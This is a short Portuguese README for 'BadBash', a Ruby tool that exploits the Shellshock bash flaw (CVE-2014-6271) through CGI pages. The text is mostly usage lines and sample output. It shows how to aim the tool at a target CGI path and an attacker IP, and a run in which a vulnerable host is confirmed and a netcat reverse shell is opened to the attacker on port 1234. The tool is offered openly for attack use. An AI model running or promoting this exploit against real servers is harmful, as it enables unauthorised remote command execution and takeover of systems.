BadBash é uma ferramenta de exploração RCE CVE-2014-6271. A versão básica apenas verifica o site CGI HTTP e fornece apenas uma shell reversa netcat na porta 1234.

Desenvolvedor : Andy Yang Versão : 0.1.0 Licença : GPLv3

================================================================================================ RainMak3r@Could:~/Desktop# ruby BadBash.rb -h

BadBash - Ferramenta CVE-2014-6271 RCE por Andy Yang Versão básica apenas verifica site HTTP Versão básica apenas fornece shell reversa netcat na porta 1234

EXEMPLO DE USO:

 ./BBash.rb  -t 'www.target.com/cgi-folder/cgi.sh' -d '127.0.0.1'
 ./BBash.rb  -t '10.0.0.1/cgi-folder/cgi.sh' -d '127.0.0.1'
-t, --Target CGI path            Caminho completo da página CGI
-d, --Destination IP             Seu endereço IP que ouve uma conexão de entrada
-h, --help                       Exibe ajuda

================================================================================================ Exemplo de uso.

RainMak3r@Could:~/Desktop#ruby BadBash.rb -t '172.16.235.140/cgi-bin/Andy.sh' -d '172.16.189.1'

[Info] Verificando se o alvo é vulnerável........

[Info] Isso pode levar até 10 segundos........

[Info] O alvo está vulnerável!!!

[Info] Por favor, use NC para ouvir na porta 1234 para shell reversa..........

[Info] Explorando para uma shell reversa conectar a 172.16.189.1:1234 via netcat ..........